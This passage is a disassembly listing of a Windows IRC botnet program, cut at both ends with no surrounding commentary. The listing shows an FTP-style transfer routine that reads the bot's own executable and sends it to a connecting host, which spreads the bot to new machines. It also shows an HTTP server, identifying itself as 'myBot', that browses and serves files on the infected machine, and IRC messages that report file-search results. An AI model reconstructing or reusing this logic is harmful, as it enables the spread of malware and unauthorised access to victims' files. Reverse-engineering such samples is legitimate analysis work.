[ebp+var_F8] push [ebp+var_8] push offset aXX ; "%x%x\n" push eax call sub_416FB6 add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_41873B mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_416FB6 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_40583B ; --------------------------------------------------------------------------- loc_405761: ; CODE XREF: sub_405285+420j lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_40581C push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_40586C pop ecx cmp eax, 1 pop ecx jnz short loc_405812 call sub_4058E9 cmp eax, 1 jnz loc_40583E push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_43BD0C push eax lea eax, [ebp+var_8DC] push offset unk_429190 push eax call sub_416FB6 add esp, 14h cmp [ebp+var_440], esi jnz short loc_405803 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40D476 add esp, 14h loc_405803: ; CODE XREF: sub_405285+559j lea eax, [ebp+var_8DC] push eax call sub_40BD8D pop ecx jmp short loc_40583E ; --------------------------------------------------------------------------- loc_405812: ; CODE XREF: sub_405285+513j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_40583B ; --------------------------------------------------------------------------- loc_40581C: ; CODE XREF: sub_405285+4F1j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40583E push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_40583B: ; CODE XREF: sub_405285+271j ; sub_405285+295j ... push edi call ebx ; send loc_40583E: ; CODE XREF: sub_405285+3C5j ; sub_405285+51Dj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417030 add esp, 0Ch loc_405850: ; CODE XREF: sub_405285+15Ej ; sub_405285+187j ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_4053B1 jmp loc_405378 ; --------------------------------------------------------------------------- loc_405862: ; CODE XREF: sub_405285+11Ej xor eax, eax inc eax loc_405865: ; CODE XREF: sub_405285+D0j pop edi pop esi pop ebx leave retn 4 sub_405285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40586C proc near ; CODE XREF: sub_405285+509p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call dword_4231E0 ; WSAStartup push 0 push 1 push 2 call dword_423214 ; socket push [ebp+arg_0] mov dword_43BD08, eax mov [ebp+var_10], 2 call dword_4231FC ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call dword_423224 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_43BD08 call dword_42321C ; connect cmp eax, 0FFFFFFFFh jnz short loc_4058E4 push dword_43BD08 call dword_423220 ; closesocket call dword_423200 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4058E4: ; CODE XREF: sub_40586C+60j xor eax, eax inc eax leave retn sub_40586C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058E9 proc near ; CODE XREF: sub_405285+515p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call dword_423094 ; GetModuleFileNameA lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4176A8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405980 test byte ptr [esi+0Ch], 10h jnz short loc_405964 push edi mov edi, 400h loc_40592C: ; CODE XREF: sub_4058E9+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_418786 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_43BD08 call dword_423208 ; send push 1 call dword_423064 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40592C pop edi loc_405964: ; CODE XREF: sub_4058E9+3Bj push esi call sub_417600 pop ecx push dword_43BD08 call dword_423220 ; closesocket call dword_423200 ; WSACleanup xor eax, eax inc eax loc_405980: ; CODE XREF: sub_4058E9+35j pop esi leave retn sub_4058E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405983 proc near ; DATA XREF: sub_4070A3+333o ; sub_40EC43+548Do var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417830 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] xor ebx, ebx rep movsd xor esi, esi push 10h inc esi push ebx mov [eax+3ACh], esi lea eax, [ebp+var_24] push eax mov [ebp+var_14], esi call sub_417030 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43EB24 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43EBA4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_405D49 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_444574[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43EB50 ; bind cmp eax, 0FFFFFFFFh jz loc_405D49 push 7FFFFFFFh push edi call dword_43EB4C ; listen cmp eax, 0FFFFFFFFh jz loc_405D49 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43EBC0 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_405D49 mov ebx, esi mov [ebp+var_124], edi mov [ebp+var_128], ebx mov [ebp+var_4], edi loc_405A5A: ; CODE XREF: sub_405983+3BCj push 41h xor eax, eax pop ecx lea esi, [ebp+var_128] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_4] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43EB0C ; select cmp eax, 0FFFFFFFFh jz loc_405D44 xor edi, edi mov [ebp+arg_0], edi loc_405A90: ; CODE XREF: sub_405983+3B6j lea eax, [ebp+var_6F0] push eax push edi call dword_43EA1C ; __WSAFDIsSet test eax, eax jz loc_405D2F cmp edi, [ebp+var_8] jnz short loc_405B11 lea eax, [ebp+var_C] mov [ebp+var_C], 10h push eax lea eax, [ebp+var_138] push eax push [ebp+var_8] call dword_43EBB8 ; accept cmp eax, 0FFFFFFFFh jz loc_405D2F xor ecx, ecx test ebx, ebx jbe short loc_405AE3 loc_405AD5: ; CODE XREF: sub_405983+15Ej cmp [ebp+ecx*4+var_124], eax jz short loc_405AE3 inc ecx cmp ecx, ebx jb short loc_405AD5 loc_405AE3: ; CODE XREF: sub_405983+150j ; sub_405983+159j cmp ecx, ebx jnz short loc_405B00 cmp ebx, 40h jnb short loc_405B00 mov [ebp+ecx*4+var_124], eax mov ebx, [ebp+var_128] inc ebx mov [ebp+var_128], ebx loc_405B00: ; CODE XREF: sub_405983+162j ; sub_405983+167j cmp eax, [ebp+var_4] jbe loc_405D2F mov [ebp+var_4], eax jmp loc_405D2F ; --------------------------------------------------------------------------- loc_405B11: ; CODE XREF: sub_405983+126j mov esi, 1000h lea eax, [ebp+var_28F0] push esi push 0 push eax call sub_417030 push esi lea eax, [ebp+var_18F0] push 0 push eax call sub_417030 add esp, 18h lea eax, [ebp+var_28F0] push 0 push esi push eax push edi call dword_43EB3C ; recv test eax, eax jg short loc_405B98 push edi call dword_43EBBC ; closesocket xor eax, eax test ebx, ebx jbe loc_405D2F loc_405B5D: ; CODE XREF: sub_405983+1E6j cmp [ebp+eax*4+var_124], edi jz short loc_405B85 inc eax cmp eax, ebx jb short loc_405B5D jmp loc_405D2F ; --------------------------------------------------------------------------- loc_405B70: ; CODE XREF: sub_405983+207j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_405B85: ; CODE XREF: sub_405983+1E1j lea ecx, [ebx-1] cmp eax, ecx jb short loc_405B70 dec ebx mov [ebp+var_128], ebx jmp loc_405D2F ; --------------------------------------------------------------------------- loc_405B98: ; CODE XREF: sub_405983+1C7j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417030 lea eax, [ebp+var_28F0] xor edi, edi push eax call sub_4177B0 add esp, 10h test eax, eax jbe loc_405D2F loc_405BC5: ; CODE XREF: sub_405983+2F9j mov al, [ebp+edi+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405C6B mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417580 pop ecx test eax, eax pop ecx jz short loc_405C3B lea eax, [ebp+var_18F0] push eax call sub_4177B0 cmp eax, 5 pop ecx jbe short loc_405C3B mov eax, offset asc_429420 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417580 pop ecx pop ecx push eax call sub_417580 pop ecx pop ecx push eax call sub_41886E push eax lea eax, [ebp+var_23C] push eax call sub_4176C0 add esp, 10h jmp short loc_405C52 ; --------------------------------------------------------------------------- loc_405C3B: ; CODE XREF: sub_405983+26Ej ; sub_405983+280j lea eax, [ebp+var_18F0] push offset asc_42941C ; "\r\n" push eax call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_405C87 loc_405C52: ; CODE XREF: sub_405983+2B6j push 1000h lea eax, [ebp+var_18F0] push 0 push eax call sub_417030 add esp, 0Ch or esi, 0FFFFFFFFh loc_405C6B: ; CODE XREF: sub_405983+252j lea eax, [ebp+var_28F0] inc edi push eax inc esi call sub_4177B0 cmp edi, eax pop ecx jb loc_405BC5 jmp loc_405D2F ; --------------------------------------------------------------------------- loc_405C87: ; CODE XREF: sub_405983+2CDj xor eax, eax test ebx, ebx jbe short loc_405CC3 loc_405C8D: ; CODE XREF: sub_405983+319j mov ecx, [ebp+eax*4+var_124] cmp ecx, [ebp+arg_0] jz short loc_405CB5 inc eax cmp eax, ebx jb short loc_405C8D jmp short loc_405CC3 ; --------------------------------------------------------------------------- loc_405CA0: ; CODE XREF: sub_405983+337j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ebx, [ebp+var_128] inc eax loc_405CB5: ; CODE XREF: sub_405983+314j lea ecx, [ebx-1] cmp eax, ecx jb short loc_405CA0 dec ebx mov [ebp+var_128], ebx loc_405CC3: ; CODE XREF: sub_405983+308j ; sub_405983+31Bj lea eax, [ebp+var_360] push eax call sub_4177B0 mov esi, eax lea eax, [ebp+var_23C] push eax call sub_4177B0 add esi, eax pop ecx cmp esi, 104h pop ecx jnb short loc_405D26 and [ebp+var_10], 0 lea eax, [ebp+var_10] push eax push 8004667Eh push [ebp+arg_0] call dword_43EBC0 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push [ebp+arg_0] call sub_405F35 add esp, 14h jmp short loc_405D2F ; --------------------------------------------------------------------------- loc_405D26: ; CODE XREF: sub_405983+364j push [ebp+arg_0] call dword_43EBBC ; closesocket loc_405D2F: ; CODE XREF: sub_405983+11Dj ; sub_405983+146j ... mov edi, [ebp+arg_0] inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jbe loc_405A90 jmp loc_405A5A ; --------------------------------------------------------------------------- loc_405D44: ; CODE XREF: sub_405983+102j mov edi, [ebp+var_8] xor ebx, ebx loc_405D49: ; CODE XREF: sub_405983+6Aj ; sub_405983+92j ... call dword_43EAB8 ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset unk_4293D8 push eax call sub_416FB6 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405D8F push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40D476 add esp, 14h loc_405D8F: ; CODE XREF: sub_405983+3E7j lea eax, [ebp+var_8F0] push eax call sub_40BD8D pop ecx push edi call dword_43EBBC ; closesocket push [ebp+var_254] call sub_416D90 pop ecx push ebx call dword_423054 ; ExitThread pop edi pop esi pop ebx sub_405983 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DB9 proc near ; DATA XREF: sub_405F35+245o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417830 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_416FB6 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_416FB6 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi lea eax, [ebp+var_9C] jz short loc_405E24 push offset aTextHtml ; "text/html" jmp short loc_405E29 ; --------------------------------------------------------------------------- loc_405E24: ; CODE XREF: sub_405DB9+62j push offset aApplicationOct ; "application/octet-stream" loc_405E29: ; CODE XREF: sub_405DB9+69j push eax call sub_416FB6 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call dword_42309C ; GetDateFormatA lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call dword_423098 ; GetTimeFormatA lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_9C] jnz short loc_405E9C push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_416FB6 add esp, 24h jmp short loc_405EB7 ; --------------------------------------------------------------------------- loc_405E9C: ; CODE XREF: sub_405DB9+CAj push [ebp+var_B8] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_416FB6 add esp, 28h loc_405EB7: ; CODE XREF: sub_405DB9+E1j lea eax, [ebp+var_1654] push edi push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43EB74 ; send cmp [ebp+var_A4], edi jnz short loc_405EF7 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406865 pop ecx pop ecx jmp short loc_405F14 ; --------------------------------------------------------------------------- loc_405EF7: ; CODE XREF: sub_405DB9+126j lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_4061E4 add esp, 10h loc_405F14: ; CODE XREF: sub_405DB9+13Cj push [ebp+var_44C] call dword_43EBBC ; closesocket push [ebp+var_B4] call sub_416D90 pop ecx push edi call dword_423054 ; ExitThread pop edi pop esi sub_405DB9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F35 proc near ; CODE XREF: sub_405983+399p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417030 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh push eax jz short loc_405F6B push offset aS_4 ; "\\%s" jmp short loc_405F73 ; --------------------------------------------------------------------------- loc_405F6B: ; CODE XREF: sub_405F35+2Dj mov byte ptr [eax], 5Ch push offset aS_3 ; "%s" loc_405F73: ; CODE XREF: sub_405F35+34j lea eax, [ebp+var_10C] push eax call sub_416FB6 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_4177B0 test eax, eax pop ecx jbe short loc_40600E mov [ebp+arg_8], 2 loc_405F9E: ; CODE XREF: sub_405F35+D7j lea eax, [ebp+var_10C] push eax call sub_4177B0 cmp [ebp+arg_8], eax pop ecx jnb short loc_405FDE cmp [ebp+esi+var_10C], 25h jnz short loc_405FDE cmp [ebp+esi+var_10B], 32h jnz short loc_405FDE cmp [ebp+esi+var_10A], 30h jnz short loc_405FDE inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_405FDE: ; CODE XREF: sub_405F35+79j ; sub_405F35+83j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_405FEE push 5Ch pop eax jmp short loc_405FF1 ; --------------------------------------------------------------------------- loc_405FEE: ; CODE XREF: sub_405F35+B2j movsx eax, al loc_405FF1: ; CODE XREF: sub_405F35+B7j mov [ebp+ebx+var_210], al loc_405FF8: ; CODE XREF: sub_405F35+A7j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_4177B0 cmp esi, eax pop ecx jb short loc_405F9E loc_40600E: ; CODE XREF: sub_405F35+60j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_416FB6 lea eax, [ebp+var_314] push offset asc_4296D4 ; "\n" push eax call sub_41886E add esp, 18h lea eax, [ebp+var_314] push eax call dword_4230A8 ; GetFileAttributesA xor esi, esi inc esi cmp eax, 10h jz short loc_40605C cmp eax, 0FFFFFFFFh jnz short loc_40605F push [ebp+arg_0] jmp short loc_4060DB ; --------------------------------------------------------------------------- loc_40605C: ; CODE XREF: sub_405F35+11Bj mov [ebp+var_4], esi loc_40605F: ; CODE XREF: sub_405F35+120j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40606C mov [ebp+var_4], esi loc_40606C: ; CODE XREF: sub_405F35+132j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_4060E6 cmp [ebp+arg_C], edi jz short loc_4060DA lea eax, [ebp+var_314] push offset asc_4296D0 ; "*" push eax call sub_4176D0 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_416FB6 lea eax, [ebp+var_210] push eax call sub_406922 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_416FB6 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_406135 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_405F35+14Ej push ebx loc_4060DB: ; CODE XREF: sub_405F35+125j call dword_43EBBC ; closesocket jmp loc_4061CB ; --------------------------------------------------------------------------- loc_4060E6: ; CODE XREF: sub_405F35+149j push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call dword_423084 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_406135 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_416FB6 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call dword_4230A4 ; GetFileSize push esi mov [ebp+var_330], eax call dword_423078 ; CloseHandle loc_406135: ; CODE XREF: sub_405F35+1A3j ; sub_405F35+1CEj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_429690 push eax call sub_416FB6 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_416A7A mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_44456C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405DB9 push edi push edi call dword_4230A0 ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_44457C[ecx], eax jnz short loc_4061DA push ebx call dword_43EBBC ; closesocket call dword_42308C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_429648 push eax call sub_416FB6 lea eax, [ebp+var_8C4] push eax call sub_40BD8D add esp, 10h loc_4061CB: ; CODE XREF: sub_405F35+1ACj ; sub_405F35+2ADj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_4061D2: ; CODE XREF: sub_405F35+2ABj push 5 call dword_423064 ; Sleep loc_4061DA: ; CODE XREF: sub_405F35+266j cmp [ebp+var_318], edi jz short loc_4061D2 jmp short loc_4061CB sub_405F35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4061E4 proc near ; CODE XREF: sub_405DB9+153p ; sub_40EC43+49E4p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417030 mov edi, [ebp+arg_0] push offset asc_4296D4 ; "\n" push edi call sub_41886E add esp, 14h cmp [ebp+arg_8], ebx push edi jz short loc_406243 push [ebp+arg_8] mov esi, 200h lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41752A add esp, 14h jmp loc_40633F ; --------------------------------------------------------------------------- loc_406243: ; CODE XREF: sub_4061E4+3Bj cmp [ebp+arg_C], ebx jz loc_406325 call sub_4177B0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41752A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41752A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send push edi call sub_4177B0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41752A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41752A add esp, 0Ch jmp short loc_40633F ; --------------------------------------------------------------------------- loc_406325: ; CODE XREF: sub_4061E4+62j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41752A add esp, 10h loc_40633F: ; CODE XREF: sub_4061E4+5Aj ; sub_4061E4+13Fj lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send cmp [ebp+arg_C], ebx jz short loc_4063D7 push [ebp+arg_C] call sub_4177B0 cmp eax, 2 pop ecx jbe short loc_4063D7 push [ebp+arg_C] call sub_4177B0 sub eax, 3 pop ecx jz short loc_40638B loc_40637F: ; CODE XREF: sub_4061E4+1A5j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40638B dec eax jnz short loc_40637F loc_40638B: ; CODE XREF: sub_4061E4+199j ; sub_4061E4+1A2j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_418910 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41752A add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send loc_4063D7: ; CODE XREF: sub_4061E4+17Dj ; sub_4061E4+18Bj lea eax, [ebp+var_388] push eax push edi call dword_4230BC ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call dword_4230B8 ; FindNextFileA test eax, eax jz loc_4067CE mov edi, 1FFh loc_406403: ; CODE XREF: sub_4061E4+5E4j cmp [ebp+var_388], ebx jz loc_4067B6 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4067B6 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4067B6 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call dword_4230B4 ; FileTimeToLocalFileTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call dword_4230B0 ; FileTimeToSystemTime mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja loc_406500 mov ecx, offset aAm ; "AM" movzx eax, ax loc_40647F: ; CODE XREF: sub_4061E4+322j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_416FB6 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_406637 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40650B lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41752A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41752A add esp, 28h jmp loc_406787 ; --------------------------------------------------------------------------- loc_406500: ; CODE XREF: sub_4061E4+28Dj movzx eax, ax sub eax, 0Ch jmp loc_40647F ; --------------------------------------------------------------------------- loc_40650B: ; CODE XREF: sub_4061E4+2D5j cmp [ebp+arg_C], ebx jz loc_4065F5 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41752A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41752A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43EB74 ; send lea eax, [ebp+var_35C] push eax call sub_4177B0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_4065B1 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4065B6 ; --------------------------------------------------------------------------- loc_4065B1: ; CODE XREF: sub_4061E4+3C4j push offset aCodeSCodeA ; 